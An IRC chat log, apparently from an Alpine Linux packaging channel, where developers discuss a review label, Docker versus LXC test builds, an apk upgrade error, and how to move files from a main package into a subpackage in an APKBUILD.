2019-04-30 18:22:28 <_ikke_> Otherwise the label should read: S-Waiting-for-package-maintainer-to-review
2019-04-30 18:23:05 <tcely> maintainer-review works too ;-)
2019-04-30 18:32:51 <_ikke_> That's equally non-descriptive
2019-04-30 18:43:50 <north1> Waiting maintainer review
2019-04-30 18:46:04 <_ikke_> deal
2019-04-30 19:12:18 <clandmeter> _ikke_: do you build in docker?
2019-04-30 19:12:26 <_ikke_> clandmeter: no, in lxc
2019-04-30 19:12:32 <_ikke_> I used to build in docker though
2019-04-30 19:12:50 <clandmeter> wonder if those tests fail due to docker
2019-04-30 19:13:05 <_ikke_> I can test it in a docker container
2019-04-30 19:13:09 <_ikke_> I still have one setup
2019-04-30 19:17:40 <_ikke_> How would I fix this when I do apk upgrade?
2019-04-30 19:17:42 <_ikke_> ERROR: unsatisfiable constraints:
2019-04-30 19:17:44 <_ikke_>   /bin/sh (virtual):
2019-04-30 19:25:06 <_ikke_> Ok, remove somme packages, and now it's fixed
2019-04-30 19:28:25 <_ikke_> testing now
2019-04-30 19:35:22 <_ikke_> clandmeter: # FAIL:  0
2019-04-30 19:36:25 <clandmeter> ok so its probably not docker
2019-04-30 21:22:58 <otlabs> hi ppl
2019-04-30 21:23:14 <otlabs> _ikke_: thank you for taking a look at my pr!
2019-04-30 21:23:41 <otlabs> i am a bit confused about how to move a file from package to subpackage
2019-04-30 21:24:36 <otlabs> should i `mv $pkgdir/somefile $subpkgdir/somefile`?
2019-04-30 21:24:51 <otlabs> in wich function should i do that?
2019-04-30 21:25:34 <otlabs> in one which packages main package? or in one which packages subpackage?
2019-04-30 21:35:21 <north1> the subpackage function
2019-04-30 21:35:31 <otlabs> ok, thanks!
2019-04-30 21:36:19 <north1> you don't have $subpkgdir set in the main function
2019-04-30 21:36:42 <otlabs> that was one of my doubts
2019-04-30 21:37:22 <otlabs> the another one was if i gat that file packed twise - in main package and in subpackage as i do not know when the actual packaging happens
2019-04-30 21:37:39 <mps> otlabs: mkdir -p $subpackage/usr/bin for example
2019-04-30 21:37:58 <otlabs> ok
2019-04-30 21:38:00 <mps> sorry, mkdir -p "$subpkgdir"/usr/bin
2019-04-30 21:38:21 <mps> looks like I'm tired somewhat
2019-04-30 21:38:34 <otlabs> np, thank you!
2019-04-30 21:39:14 <mps> then 'mv "$pkgdir"/usr/bin/name" "$subpkgdir"/usr/bin/
2019-04-30 21:39:27 <mps> this is just example, ofc
2019-04-30 21:39:35 <otlabs> great!
2019-04-30 21:39:49 <mps> eh, missing ending '
2019-04-30 21:40:10 <mps> but you do not put them in APKBUILD
2019-04-30 21:40:48 <mps> let me to write clearly in one line
2019-04-30 21:40:55 <mps> mv "$pkgdir"/usr/bin/name" "$subpkgdir"/usr/bin/
2019-04-30 21:44:03 <otlabs> thanks!
2019-04-30 21:52:12 <otlabs> `mv` is failing. will debug tomorrow. thank you all for the help!
2019-04-30 21:52:19 <otlabs> see you later!
2019-04-30 21:53:09 <mps> \o
2019-04-30 21:54:26 <TBK[m]> you can also use "install" with various options
2019-04-30 21:56:38 <mps> yes, cp, mv, install whatever is needed for subpackage
2019-04-30 21:57:12 <mps> although cp is probably just for some corner cases